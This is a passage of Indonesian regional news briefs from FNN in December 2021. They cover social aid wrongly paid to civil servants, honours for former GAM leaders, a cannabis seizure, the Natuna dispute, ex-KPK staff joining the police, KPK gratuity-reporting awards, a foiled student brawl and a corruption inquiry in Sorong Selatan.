Tulungagung, Jatim, FNN - Bupati Tulungagung Maryoto Birowo menginstruksikan kepada enam ASN (aparatur sipil negara) setempat yang diketahui menerima bantuan sosial (bansos) agar mengembalikannya ke negara. "Ya harus dikembalikan. Pokoknya dengan status itu (ASN) tidak boleh terima (bansos)," kata Bupati Maryoto dikonfirmasi wartawan di Tulungagung, Jawa Timur, Senin. Adapun terhadap keenam ASN itu, Maryoto menegaskan pihaknya tidak menjatuhkan sanksi. Alasannya, para ASN yang diindikasi (masih) menerima bansos adalah tenaga PPPK (Pegawai Pemerintah dengan Perjanjian Kerja) hasil rekrutmen 2021. "Oktober 2021 ini sudah kami hentikan, ketika mereka lulus dan menjadi P3K," katanya. Lantaran menerima bansos sebelum menjadi ASN, pihaknya tidak akan menjatuhkan sanksi, atau meminta mereka mengembalikan bantuan yang telah diterima. Maryoto menegaskan dirinya bakal menyuruh pimpinan organisasi perangkat daerah (OPD) untuk memastikan tidak ada lagi kasus ASN menerima bansos yang semestinya hanya diperuntukkan keluarga prasejahtera dan kelompok masyarakat yang terdampak pandemi COVID-19. Sebelumnya, Badan Pemeriksa Keuangan (BPK) menemukan ada 17 ASN di Tulungagung yang terindikasi menerima bantuan bantuan pangan nontunai (BPNT). Hasilnya setelah dilakukan penelusuran, ternyata hanya empat yang terbukti menerima. Mereka merupakan anak dari penerima bansos. Mereka sebelumnya bekerja sebagai guru tidak tetap (GTT) di Tulungagung. Saat rekrutmen P3K, keempat orang ini dinyatakan lolos. "Jadi secara resmi mereka menjadi PPPK pada Juli 2021. Dengan demikian, dalam satu KK kini ada yang berstatus ASN," ujarnya pula. Keluarga ASN merupakan salah satu kelompok yang tidak boleh menerima bansos. Kelompok lainnya yang tidak boleh menerima bansos adalah keluarga TNI, Polri, pensiunan, dan pegawai BUMN/BUMD. (sws)

Wali Nanggroe Aceh Berikan Gelar Kehormatan untuk Eks Panglima GAM

Banda Aceh, FNN - Wali Nanggroe Aceh Tgk Malik Mahmud Al Haytar memberikan gelar kehormatan kepada mantan panglima GAM (alm) Tgk Abdullah Syafi'i dan juga mantan Perdana Menteri Aceh Merdeka ke-2 Tgk Ilyas Leube. "Gelar kehormatan diberikan sebagai bentuk apresiasi karena telah berkontribusi dalam perjuangan Aceh, penegakan Dinul Islam, perdamaian Aceh, persatuan, keadilan, dan kemakmuran rakyat Aceh," kata Malik Mahmud Al Haytar, di Aceh Besar,​​​​ Senin (6/12) malam. Gelar kehormatan tersebut diberikan langsung Tgk Malik Mahmud Al Haytar kepada adik kandung Abdullah Syafi'i yakni Fatimah, sedangkan untuk Ilyas Leube diserahkan kepada anak kandungnya Munadi, yang dilaksanakan di Meuligoe Wali Nanggroe Aceh. Kepada Abdullah Syafi'i gelar kehormatan yang diberikan yakni perkasa alam (memimpin angkatan bersenjata kerajaan). Sedangkan untuk Ilyas Leube dengan gelar Syah Alam (di masa kerajaan memimpin pemerintah dalam negeri atau perdana menteri). Malik Mahmud mengatakan pemberian gelar ini setidaknya menjadi pengingat, penguat kebersamaan Aceh dalam memperjuangkan apa yang telah diperjanjikan Pemerintah Indonesia sesuai dengan perjanjian damai MoU Helsinki pada 2005 lalu. Ia menyampaikan Tgk Abdullah Syafi’i merupakan panglima GAM yang syahid (meninggal) dalam sebuah pertempuran bersama istrinya pada 22 Januari 2002 lalu di kawasan hutan Cubo, Pidie Jaya, Aceh. Menurut dia pria yang akrab disapa Teungku Lah itu telah mengabdikan seluruh hidupnya, baik jiwa, harta dan keluarga demi perjuangan melawan ketidakadilan yang berlaku di bumi Aceh. "Teungku Lah sendiri mulai bergabung dalam perjuangan GAM pada usia 29 tahun, tepatnya pada 3 Desember 1976. Sehari sebelum deklarasi kemerdekaan Aceh di Gunung Halimon," katanya. Ia menyebutkan, pada 1 Januari 1993 Teungku Lah resmi diangkat sebagai Panglima GAM Komando Pusat Tiro. Di kalangan masyarakat umum dan jurnalis khususnya ia dikenal sebagai sosok bersahaja, memiliki kemampuan baik dalam membangun komunikasi, dan sering tampil sederhana. "Teungku Lah syahid saat masih menjabat sebagai Panglima GAM komando pusat Tiro. Syahidnya Teungku Lah pada masa itu membawa duka mendalam bagi segenap bangsa Aceh," katanya. Sedangkan Tgk Ilyas Leube, kata Malik Mahmud, merupakan tokoh kharismatik asal dataran tinggi Gayo, Aceh yang mengabdikan hidupnya dalam tiga era perjuangan. Mulai melawan penjajahan Belanda dan Jepang, perjuangan DI/TII dan perjuangan Gerakan Aceh Merdeka. Dalam kabinet GAM, katanya, Tgk Ilyas Leube dipercayakan sebagai Perdana Menteri ke-2 tahun 1980-1982, dan juga menjabat sebagai Dewan Syura GAM 1977-1982, dan Menteri Kehakiman GAM 1977-1982. "Tgk Ilyas Leube lahir di Kenawat, Aceh Tengah 20 Januari 1920, dan syahid dalam sebuah pertempuran di wilayah Jeunieb, Kabupaten Bireuen, Aceh pada 16 April 1982," katanya. Dalam kesempatan ini, Malik Mahmud mengajak semua pihak bersama-sama mendoakan semoga kedua pejuang Aceh dan ribuan syuhada perjuangan Aceh lainnya mendapatkan balasan syurga dari Allah SWT. "Sebagai generasi di masa sekarang, sejarah hidup dua pahlawan Aceh tersebut harus dijadikan pedoman, pembelajaran, dan pengingat dalam setiap gerak perjuangan yang kita lanjutkan pada hari ini, melalui perjuangan politik," demikian Tgk Malik Mahmud Al Haytar. (sws)

Anggota DPR: Berikan Hukuman Berat Bagi Pengedar Narkoba

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni mengapresiasi Polres Metro Jakarta Barat yang menyita 534 kilogram ganja kering yang sudah siap edar, dan meminta aparat penegak hukum memberikan hukuman berat bagi pengedar narkoba. "Jumlah setengah ton ini sangat besar, diperkirakan bisa membahayakan satu juta jiwa penduduk Indonesia. Oleh karena itu, saya meminta aparat penegak hukum memberikan hukuman yang berat bagi para tersangka agar ada efek dan rasa takut bagi para pengedar lainnya," kata Sahroni dalam keterangannya di Jakarta, Selasa. Sahroni mengatakan hal itu terkait dengan keberhasilan Satuan Reserse Narkoba Polres Metro Jakarta Barat yang menyita 534 kilogram ganja kering yang sudah siap edar. Ganja tersebut merupakan hasil dari pengedar narkoba lintas Sumatera yang rencananya dikirim ke Jakarta untuk diedarkan pada acara Tahun Baru 2022. Sahroni menilai penangkapan itu menunjukkan kesigapan polisi dalam mengantisipasi penyebaran barang haram menjelang malam pergantian tahun. "Ini menunjukkan kesiapan dan kesigapan Polres Metro Jakarta Barat menjelang Natal dan tahun baru yang tentunya menjadi momentum bagi para pengedar untuk menjalankan aksinya. Hal ini tentu perlu diberikan apresiasi," ujarnya. Ditegaskan kembali bahwa para pelaku diberikan hukuman seberat-beratnya karena jumlah narkoba yang disita tidak main-main, lebih dari setengah ton. Selain itu, menurut dia, seluruh narkoba ini jika dirupiahkan adalah senilai Rp2,6 miliar dan dapat membahayakan sekitar satu juta warga Indonesia. (sws)

Sikap RI Dinilai Sudah Tepat Terkait Klaim China Soal Natuna

Depok, FNN - Dekan Fakultas Hukum Universitas Pancasila (FHUP) Prof Dr. Eddy Pratomo menilai reaksi Pemerintah Indonesia terhadap klaim China di Natuna sudah tepat dan konsisten, yang sejak awal sudah menolak keabsahan nine-dash line ini. "Protes China ini tidak mengejutkan karena China memang sejak awal mengklaim perairan zona ekonomi eksklusif (ZEE) dan landa kontinen melalui nine-dash line. Seperti diketahui lokasi pengeboran berada di landas kontinen Indonesia namun juga berada di dalam nine dash line," kata Eddy Pratomo dalam keterangan tertulisnya yang diterima ANTARA, Selasa. Menurut observasi Eddy, Arbitrase Tribunal UNCLOS tentang SCS 2016 juga telah mengkonfirmasi bahwa klaim sepihak China ini bertentangan dengan hukum internasional. "Bertolak dari posisi hukum Indonesia yang cukup kuat ini, saya mencermati bahwa ketegasan Pemerintah RI tidak berubah dan telah mengambil langkah tegas dan konsisten," ujarnya. Pertama kata dia, Pemerintah RI telah mengabaikan protes RRT dengan cara melanjutkan pengeboran ini. Kedua, mengerahkan kapal-kapal penegak hukum untuk mengamankan kegiatan pengeboran. "Pengeboran telah berhasil tuntas pada tanggal 19 November 2021. Dengan tuntasnya pengeboran ini maka soal protes RRT tersebut sudah kehilangan konteks dan tidak relevan lagi diributkan, karena tujuan pengeboran ini sudah tercapai," katanya. Untuk itu kata dia perhatian kita sebaiknya lebih diarahkan untuk mendorong lagi berbagai aktivitas ekonomi di perairan hak-hak berdaulat RI di Laut China Selatan. Sebelumnya, China memprotes dan meminta Indonesia menghentikan eksplorasi pengeboran minyak dan gas di Natuna, yang merupakan kawasan yang diklaim sepihak oleh Beijing sebagai bagian dari teritorinya di Laut China Selatan. (sws)

44 Eks Pegawai KPK Jalani Uji Kompetensi di Mabes Polri

Jakarta, FNN - Sebanyak 44 eks pegawai KPK yang memutuskan menerima tawaran sebagai ASN Polri mengikuti uji kompetensi di Mabes Polri, Jakarta Selatan, Selasa. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol. Rusdi Hartono menyebutkan uji kompetensi eks pegawai KPK di Gedung TNCC Mabes Polri. "Di assesment center, Gedung TNCC Mabes Polri," kata Rusdi saat dikonfirmasi. Hal senada juga disampaikan Yudi Purnomo, eks pegawai KPK yang memilih bergabung menjadi ASN Polri bersama Novel Baswedan. Ia bersama eks pegawai KPK lainnya yang menerima tawaran menjadi ASN Polri tengah bersiap untuk mengikuti uji kompetensi. "Ini (uji kompetensi) mau mulai. Ponsel mau ditinggal di tas," kata Yudi ketika dihubungi sebelum tes dimulai. Sebelumnya, Senin (6/12), sebanyak 54 dari 57 eks pegawai KPK yang tidak lulus tes wawasan kebangsaan (TWK) mengikuti kegiatan sosialisasi Peraturan Polri (Perpol) Nomor 15 Tahun 2021 tentang Pengangkatan Khusus 57 Eks Pegawai KPK. Dari 54 orang yang hadir, sebanyak 44 orang menandatangani surat kesediaan untuk diangkat sebagai ASN Polri, di antara Novel Baswedan dan teman-teman mantan penyidik KPK. Setelah mengikuti sosialisasi dan menandatangani surat pernyataan bersedia, diangkat sebagai ASN Polri. Sebanyak 44 eks pegawai KPK diharuskan ikut uji kompetensi. Kepala Divisi Humas Polri Irjen Pol. Dedi Prasetyo menegaskan bahwa uji kompetensi ini untuk memetakan kompetensi eks pegawai KPK. Uji kompetensi nantinya menjadi tolak ukur Polri untuk menempatkan eks pegawai KPK sesuai kompetensi mereka. Hal ini sesuai dengan rekomendasi dari Kemenpan RB. "Tahapan berikutnya dilaksanakan uji kompetensi atau asesmen," kata Dedi, Senin (6/12). (sws)

Kisah Inspiratif Para Pelapor Gratifikasi

Jakarta, FNN - Dalam rangkaian kegiatan untuk memperingati Hari Antikorupsi Sedunia (Hakordia) 2021 yang puncaknya diperingati setiap 9 Desember, Komisi Pemberantasan Korupsi (KPK) turut menyelenggarakan acara penghargaan pengendalian gratifikasi pada tanggal 6 Desember 2021. Ada tiga kategori penghargaan pengendalian gratifikasi tersebut, yaitu pelapor gratifikasi inspiratif 2021, insan Unit Pengendalian Gratifikasi (UPG) 2021, serta Jaga Data dan Mascot Challenge 2021. Tujuh orang meraih penghargaan dengan kategori pelapor gratifikasi inspiratif dengan berbagai latar belakang profesi dan tiga orang dengan kategori insan UPG. Wakil Ketua KPK Alexander Marwata mengapresiasi atas pelaporan dan pengendalian gratifikasi oleh 10 orang tersebut. Hal itu juga sebagai cerminan dari nilai-nilai integritas yang selama ini KPK junjung. Memang tidak mudah untuk menolak gratifikasi, bahkan melaporkan gratifikasi ke KPK. Pelapor gratifikasi inspiratif serta insan UPG yang terpilih merupakan individu berintegritas yang tidak sekadar menjalankan tugas, tetapi menginspirasi semua pihak dengan terobosan dan inovasi yang melebihi batas kemampuannya. Disebutkan pula tujuh pelapor gratifikasi: Pertama, Aisyah selaku Kepala Desa Sungup Kanan Pemkab Kotabaru, Kalimantan Selatan. Dia melaporkan uang tunai Rp50 juta dari perwakilan salah satu perusahaan tambang batu bara. Pada tahun 2020, terjadi sengketa tanah antara sejumlah warga desa dengan salah satu perusahaan tambang batu bara, terjadi overlapping antara sejumlah tanah milik warga Desa Sungup Kanan dengan sertifikat hak pakai atas nama PT STC. Pelapor selaku Kepala Desa Sungup Kanan berupaya untuk melindungi hak warga setempat untuk meminta ganti rugi dan memimpin mediasi warga dengan pihak perusahaan di Kantor Pertanahan (BPN) Kotabaru. Salah satu perwakilan perusahaan yang tidak dikenal sebelumnya datang menemui Aisyah dan ingin membicarakan tentang penundaan urusan sengketa tanah warga di BPN Kotabaru. Ketika hendak pulang, pemberi mengatakan ada titipan dari perusahaan dan memberikan sebuah kantong plastik hitam yang berisi uang tunai Rp50 juta. Setelah memberikan kantong tersebut, pihak pemberi bergegas pergi. Aisyah pun merasa tidak nyaman dan bertekad untuk mengembalikan uang tersebut. Dia berusaha menghubungi pemberi untuk mengembalikan uang sekaligus memberikan berkas ganti rugi. Namun, nomor teleponnya sudah diblokir oleh pemberi tersebut. Pada bulan November 2020, Aisyah pergi ke Pengadilan Negeri Kotabaru dengan maksud untuk menitipkan uang tersebut. Namun, pihak PN menolak karena bukan ranah pengadilan dan menyarankannya untuk melaporkan penerimaan tersebut ke KPK. Akhirnya, Aisyah menyampaikan laporan gratifikasi tersebut dengan mendatangi Gedung Merah Putih KPK, Jakarta. Kedua, Heriyanto selaku PNS pada Kementerian Energi dan Sumber Daya Mineral (ESDM). Dia melaporkan uang tunai 10.000 dolar Singapura atau setara Rp100 juta dari pengusaha tambang batu bara. Pelapor saat itu menjabat sebagai koordinator hukum pada Sekretariat Direktorat Jenderal Mineral dan Batu Bara yang bertugas memberikan pertimbangan hukum, koordinasi, dan penyiapan rancangan peraturan perundang-undangan serta hubungan masyarakat. Suatu ketika salah satu perwakilan perusahaan tambang berkonsultasi terkait dengan permohonan perpanjangan IUP operasi produksi tambang batu bara oleh salah satu perusahaan di Bengkulu kepada Direktorat Jenderal Mineral dan Batu Bara Kementerian ESDM. Heriyanto sudah beberapa kali menolak permintaan konsultasi oleh pihak perusahaan. Namun, pihak pemberi berusaha menemui yang bersangkutan, baik di kantor Jakarta maupun ketika sedang perjalanan dinas luar kota. Untuk menjalankan fungsi pelayanan, pelapor akhirnya menemui pihak perusahaan, kemudian meminta untuk melengkapi dokumen pengajuan perpanjangan izin usaha pertambangan yang sudah kedaluwarsa, diketahui sedang bermasalah karena sengketa kepemilikan perusahaan. Pada bulan April 2021, saat Heriyanto sedang berdinas ke Kota Bandung, pihak pemberi menemuinya di hotel untuk menyerahkan kelengkapan dokumen. Namun, ternyata amplop cokelat berisi dokumen tersebut diselipkan uang tunai sebesar 10.000 dolar Singapura. Dia pun berusaha menghubungi pemberi dan akan mengembalikan uang tersebut, namun pihak pemberi sulit dihubungi. Selanjutnya, penerimaan tersebut dilaporkan dan penyerahan uang langsung dititipkan ke KPK. Pelapor memberitahukan pelaporan gratifikasinya ke atasan di Sekretariat Direktorat Jenderal Mineral dan Batu Bara dan Pusat Penelitian dan Pengembangan Teknologi Mineral dan Batu Bara. Meskipun pihak perusahaan memberikan uang kepada pelapor, proses permohonan perpanjangan IUP operasi produksi tetap sesuai dengan prosedur dan ketentuan yang berlaku. Ketiga, Anggi Wicaksono selaku staf teknis Imigrasi Konsulat Jenderal RI (KJRI) Jeddah Kementerian Luar Negeri. Anggi melaporkan satu buah jam tangan merek Rolex dari salah seorang WNI perempuan selaku pengguna layanan/pengusaha. Pelapor sebagai staf teknis imigrasi yang bertugas memberikan layanan dalam pengurusan visa dan affidavit pada KJRI di Jeddah. Pada bulan Juni 2021, pelapor melayani salah seorang WNI selaku pemberi bersama anaknya datang ke loket untuk menerima visa dan affidavit yang telah selesai diproses. Selanjutnya, pemberi meminta kepada petugas loket untuk dapat bertemu dengan pelapor selaku pejabat yang bertugas membubuhkan tanda tangan pada visa tersebut. Pada saat pertemuan tersebut, pemberi menyampaikan terima kasih atas pelayanan visa dan affidafit dan meminta putrinya untuk menyerahkan hadiah bingkisan kepada pelapor sebagai tanda terima kasih atas pengurusan visa suami dan anaknya yang berkewarganegaraan Arab Saudi. Pelapor tidak dapat menolak pemberian dari anak kecil tersebut serta pemberi tidak berkenan apabila pemberian tersebut dikembalikan. Setelah dibuka, bingkisan tersebut berupa satu jam tangan bertuliskan Rolex tipe oyster perpetual datejust dengan nilai estimasi semula Rp163 juta (jika barang asli). Namun, apabila jam tangan tidak identik (bukan barang asli) diperkirakan senilai Rp4.106.700,00. Pelapor menyatakan bersedia menyerahkan barang tersebut ke KPK. Saat ini barang tersebut masih disimpan dalam pengawasan Satgas Antigratifikasi KJRI Jeddah serta menyampaikan laporan penerimaan gratifikasi kepada KPK. Keempat, Direktur Utama PD Pasar Jaya-BUMD DKI Jakarta Arief Nasrudin. Arief melaporkan satu unit telepon genggam merek Samsung Z Fold 2 senilai Rp30 juta dari salah seorang teman sekolah menengah atas (SMA). Pada bulan April 2021, pelapor dihubungi oleh salah seorang teman SMA selaku pemberi untuk mengajak buka puasa bersama yang bertepatan dengan acara penganugerahan atas corporate social responsibility (CSR) perusahaan yang diselenggarakan oleh Business News Magazine di Jakarta. Pada saat pertemuan, teman SMA sempat membahas tentang proses lelang pekerjaan di PD Pasar Jaya dan menginformasikan bahwa salah satu vendor B merupakan rekan kerja pemberi yang ikut serta dalam lelang tersebut. Pelapor menduga teman SMA itu ingin menitipkan vendor B. Namun, pelapor langsung menjelaskan bahwa proses lelang di PD Pasar Jaya sesuai dengan aturan dan tidak diperkenankan adanya titipan. Setelah selesai buka puasa bersama, pemberi menyerahkan bingkisan kepada salah satu staf pelapor yang ditujukan untuk pelapor. Sesampainya di rumah, pelapor baru membuka bingkisan yang berisi telepon genggam merek Samsung Z Fold 2 senilai Rp30 juta. Selanjutnya, pelapor berkonsultasi ke KPK dan menyampaikan laporan gratifikasi atas penerimaan tersebut. Kelima, Khaerullah selaku tenaga administrasi SDN Panunggangan 4 Cibodas, Kota Tangerang. Dia melaporkan uang Rp1 juta dari perkumpulan orang tua siswa. Dalam melaksanakan tugasnya, Khaerullah menerima gaji pegawai honorer dari pihak Pemkot Tangerang. Pada masa pandemi COVID-19, Khaerullah berinisiatif mengajukan bantuan siswa untuk membantu orang tua yang mengalami kesulitan ekonomi akibat terkena pemutusan hubungan kerja (PHK), yang tidak menerima bantuan langsung tunai (BLT) maupun bantuan lainnya. Usaha pelapor tersebut membuahkan hasil dan sejumlah 100 orang siswa mendapatkan bantuan masing-masing berupa uang sebesar Rp450 ribu dari Program Indonesia Pintar (PIP). Para orang tua murid yang merasa terbantu berinisiatif untuk menggalang dana sukarela sebagai tanda terima kasih atas bantuan Khaerullah. Hal ini mengingat pengajuan bantuan dana tersebut tidak bisa dilakukan secara mandiri, tetapi harus kolektif dari pihak sekolah. Dengan dana bantuan tersebut, para orang tua merasa terbantu karena dapat membeli keperluan sekolah putra/putri mereka yang masih harus belajar di rumah karena pandemi. Pada bulan Agustus 2021, hasil patungan dana terkumpul sebesar Rp1 juta diberikan kepada Khaerullah. Pada awalnya, pelapor tidak yakin apakah uang tersebut dapat diterima atau tidak. Dia lantas berinisiatif mencari informasi perihal gratifikasi dan aturan terkait dan akhirnya memutuskan untuk mengembalikan uang tersebut. Selain itu, Khaerullah juga menunjukkan komitmen untuk tidak menerima gratifikasi dengan membuat surat pernyataan bahwa dirinya akan menolak gratifikasi dalam bentuk apa pun terkait dengan tugas yang diembannya. Laporan penolakan gratifikasi disampaikan kepada KPK melalui aplikasi GOL individu. Keenam, Rifqi Abdillah selaku Pengelola Pengendalian, Monitoring, dan Evaluasi Pembangunan Pemkab Probolinggo. Rifqi melaporkan uang tunai Rp50 ribu sampai dengan Rp1,5 juta dari rekan kerja/mitra kerja. Pelapor sebagai seorang PNS di lingkungan Kabupaten Probolingg dikenal telah akrab dengan laporan gratifikasi sejak 2016 pada saat masih menjabat sebagai staf di Pemkab Probolinggo. Pelapor menunjukkan integritasnya untuk tidak menerima gratifikasi sekecil apa pun, bahkan setelah Rifqi Abdillah dimutasi semula dari staf kabupaten menjadi staf Kecamatan Pakuniran, Kabupaten Probolinggo. Pada tahun 2017, dalam kondisi sedang merawat ibunya di rumah sakit, dia tetap berupaya melaporkan penerimaan gratifikasi ke KPK. Terdapat total 25 laporan penerimaan gratifikasi berasal dari atasan, rekan kerja, dan para mitra kerja sebagai uang tunjangan hari raya (THR) hingga sebagai ucapan terima kasih atas pelaksanaan pekerjaan monitoring pengelolaan dana desa dengan nilai penerimaan bervariasi, yaitu berkisar uang sebesar Rp50 ribu hingga Rp1,5 juta. Pelapor pernah melaporkan penerimaan uang tunai dari para kepala desa di Kecamatan Pakuniran sebagai ucapan terima kasih atas monitoring dan evaluasi penggunaan APBDes di sejumlah desa wilayah Kecamatan Pakuniran. Ketujuh, fungsional umum/pejabat pembuat komitmen (PPK) dari salah satu instansi dengan identitas yang tidak disebutkan. Dia melaporkan dua unit sepeda dengan total senilai Rp1.250.200,00 dari keluarga dekat pelapor selaku penyedia jasa. Tugas pelapor adalah menangani kegiatan pengadaan pada unit kerja di salah satu kabupaten. Pengadaan dilaksanakan sesuai dengan prosedur dan dimenangkan oleh keluarga dekat pelapor. Pada Januari 2021, sekitar seminggu setelah penandatanganan kontrak penyedia jasa, keluarga dekat pelapor tersebut datang ke rumah pelapor membawa 2 unit sepeda anak-anak sebagai hadiah kepada anak-anak pelapor. Pelapor merasa bingung karena pemberian tersebut dari keluarga dekat pelapor yang terpilih sebagai pemenang penyedia jasa di kantor pelapor karena pemberian hadiah sepeda tersebut tidak bertepatan dengan ulang tahun anak pelapor sehingga pelapor mengonfirmasi kepada saudara lainnya yang masih tinggal satu kota. Namun, ternyata keluarga dari saudara-saudara pelapor lainnya tidak diberikan sepeda oleh keluarga dekat tersebut. Pelapor lantas memutuskan untuk melaporkan penerimaan tersebut ke KPK dan mengompensasi barang tersebut dengan membayar sejumlah uang pengganti. Tiga Insan UPG Inovatif Selain penghargaan kepada pelapor gratifikasi, KPK juga memberikan penghargaan kepada tiga insan UPG inovatif. Pertama, Kepala Bagian Evaluasi dan Pelaporan Inspektorat Kabupaten Boyolali Achmad Nasution. Ia sebagai insan UPG dipercaya menjadi motor penggerak di Boyolali, Jawa Tengah. Dengan inovasinya, dia berhasil menghilangkan praktik gratifikasi berupa fee perbankan yang biasa diberikan kepada bendahara di organisasi perangkat daerah (OPD) Kabupaten Boyolali sejak 2018. Penghilangan gratifikasi fee perbankan tersebut menjadi yang pertama dilakukan di Indonesia dan menjadi contoh bagi tempat lain. Kedua, Badrul selaku Pelaksana Inspektorat Kabupaten Sumenep, Jawa Timur. Ia memiliki kontribusi yang besar dalam peningkatan kualitas implementasi Program Pengendalian Gratifikasi (PPG) di Kabupaten Sumenep. Beberapa strategi yang dilakukan oleh Badrul dalam meningkatkan implementasi PPG di Kabupaten Sumenep, di antaranya dengan melaksanakan sosialisasi gratifikasi ke seluruh penjuru Kabupaten Sumenep. Ia meyakini nilai-nilai anti gratifikasi harus tersebar ke seluruh penjuru Kabupaten Sumenep agar semua pegawai negeri di daerah ini bisa terhindar dari praktik gratifikasi. Oleh karena itu, Badrul dengan gencar melakukan sosialisasi gratifikasi ke seluruh jajaran pemkab setempat, bahkan ke wilayah yang sangat terpencil. Ketiga, Musdalipa selaku Auditor Muda Inspektorat Kabupaten Pangkajene dan Kepulauan, Sulawesi Selatan. Dalam membangun budaya antigratifikasi di Kabupaten Pangkajene dan Kepulauan, Musdalipa menjadikan dunia pendidikan sebagai target utama pada tahun 2021 melalui program 100 Sekolah Berintegritas. Hal tersebut didasarkan pada pertimbangan bahwa praktik gratifikasi masih sangat sering ditemui di sekolah. Selain itu, dunia pendidikan merupakan tempat dalam menciptakan sebuah generasi sehingga dengan menciptakan sekolah yang berintegritas diharapkan akan lahir generasi yang berintegritas pula. Sesuai dengan tema Hakordia 2021 Satu Padu Bangun Budaya Antikorupsi, kisah inspiratif dari pelapor gratifikasi tersebut merupakan wujud nyata dari peran serta masyarakat dalam pemberantasan korupsi. (sws)

Personel Polres Sukabumi Kota Gagalkan Tawuran Antarpelajar SMP

Sukabumi, FNN - Personel Polres Sukabumi Kota berhasil menggagalkan tawuran antarperlajar tingkat SMP sederajat saat hendak bentrok di sekitar Kantor Balai Kota, tepatnya di Jalan R Syamsudin SH, Kota Sukabumi, Jawa Barat pada Senin (6/12). "Alhamdulillah berkat kecekatan personel Polres Sukabumi Kota yang bersiaga di sekitar Kantor Balai Kota, aksi tawuran antarperlajar tingkat SMP berhasil digagalkan dan menangkap tiga oknum siswa yang kedapatan membawa senjata tajam jenis samurai dan gergaji berukuran besar," kata Humas Polres Sukanumi Kota Iptu Astuti kepada wartawan, di Sukabumi, Senin. Informasi yang dihimpun dari pihak kepolisian, kejadian itu berawal saat sekelompok pelajar SMP dari Kabupaten Sukabumi mengendarai sepeda motor berboncengan tiga mencoba menyerang pelajar SMP yang tengah nongkrong di salah satu warung di Jalan Ir H Djuanda. Oknum pelajar tersebut tidak hanya membawa sepeda motor secara ugal-ugalan, juga mengacung-acungkan senjata tajam sebagai tanda tantangan. Melihat akan adanya tawuran antarpelajar, personel Polres Sukabumi Kota yang tengah bersiaga langsung mengejar oknum pelajar tersebut dan langsung meringkusnya. Ternyata setelah digeledah, ditemukan barang bukti berupa samurai dan gergaji berukuran besar yang diduga akan digunakan saat bentrok dengan pelajar SMP lainnya. Mengantisipasi hal-hal yang tidak diinginkan polisi pun membubarkan pelajar yang tengah berkumpul agar segera pulang ke rumahnya masing-masing. Ketiga oknum pelajar yang membawa senjata tajam dan hendak menyerang empat pelajar SMP lainnya yang tengah nongkrong di warung langsung digelandang ke Mapolsek Cikole untuk dimintai keterangan terkait kepemilikan senjata tajam secara ilegal tersebut. "Untuk penyelidikan lebih lanjut dan ketiganya masih di bawah umur penanganannya sudah dilimpahkan ke Polres Sukabumi Kota, untuk ketiganya masih dimintai keterangan," katanya pula. Astuti mengatakan berbagai upaya dilakukan Polres Sukabumi Kota untuk mencegah tawuran antarpelajar di wilayah hukumnya, selain menyiagakan personel di lokasi-lokasi rawan terjadi tawuran antarpelajar juga melakukan penyuluhan kepada pelajar dari berbagai tingkatan tentang bahaya dan dampak tawuran. Pencegahan tawuran tidak hanya bisa dilakukan oleh pihak keamanan, tetapi seluruh elemen harus ikut mencegahnya baik pihak sekolah dan khususnya orangtua agar memantau aktivitas anaknya di luar rumah dan mengawasi teman serta tempat bergaulnya. (sws)

Bupati Sorong Selatan Penuhi Panggilan Polda Papua Barat

Manokwari, FNN - Bupati Sorong Selatan Samsuddin Anggiluli memenuhi panggilan penyidik Direktorat Kriminal Khusus (Dit Reskrimsus) Polda Papua Barat, di Manokwari, Senin. Kepala Bidang (Kabid) Humas Polda Papua Barat Kombes Pol Adam Erwindi membenarkan panggilan terhadap Bupati Samsuddin Anggiluli terkait penyelidikan dugaan penyalahgunaan dana hibah tahun anggaran 2017/2019 pada Yayasan Tipari Teminabuan. "Benar, hari ini Bupati Sorong Selatan penuhi panggilan penyidik Dit Reskrimsus Polda Papua Barat, status dia sebagai saksi," kata Kabid Humas. Terkait panggilan orang nomor satu di Kabupaten Sorong Selatan itu, Koordinator Umum Aliansi Relawan Jokowi Provinsi Papua Barat Vincen Kocu menyampaikan apresiasinya terhadap kinerja Polda Papua Barat di bawah kepemimpinan Irjen Pol Tornagogo Sihombing. "Mewakili masyarakat Kabupaten Sorong Selatan, saya apresiasi langkah penegakan hukum Polda Papua Barat untuk mengupas tuntas dugaan korupsi yang merugikan masyarakat ini," ujar Vincen Kocu. Ia berharap Polda Papua Barat dalam waktu yang tidak terlalu lama segera menetapkan tersangka dalam dugaan kasus korupsi tersebut, sehingga ada efek jera kepada para koruptor di daerah sebagaimana harapan masyarakat. Sebelumnya, Direktur Eksekutif Lembaga Penelitian, Pengkajian dan Pengembangan Bantuan Hukum (LP3BH) Manokwari Yan Christian Warinussy juga menyampaikan apresiasinya kepada Kapolda Papua Barat Irjen Pol Tornagogo Sihombing dan jajarannya yang sudah mulai menyelidiki dugaan penyalahgunaan dana hibah dari Pemerintah Kabupaten Sorong Selatan kepada Yayasan Tipari Teminabuan. "Langkah penyelidikan ini secara hukum telah dilakukan berdasarkan Surat Perintah Penyelidikan Nomor Sprin.Lidik/105 a/XI/Res.3.3/2021/Ditreskrimsus, tanggal 15 November 2021," ujarnya pula. Ia menuturkan penyaluran dana hibah untuk membangun Universitas Werisar yang hingga saat ini hanya berdiri fondasi berikut tiang-tiang atau pilarnya saja. "Sesuai data kami di LP3BH Manokwari sekitar Rp7 miliar lebih telah dikucurkan oleh Pemerintah Kabupaten Sorong Selatan kepada Yayasan Tipari yang salah satu pendirinya adalah Bupati Sorong Selatan Samsuddin Anggiluli serta Ketua Yayasannya adalah BM yang sehari-harinya adalah istri sah dari Samsuddin Anggiluli," ujarnya pula. Ia mengatakan bahwa LP3BH Manokwari akan terus mengawal proses penegakan hukum yamg sedang dilakukan oleh Polda Papua Barat saat ini. (sws)

Polda NTB Dirikan Dapur Umum di Lokasi Terdampak Banjir Lombok

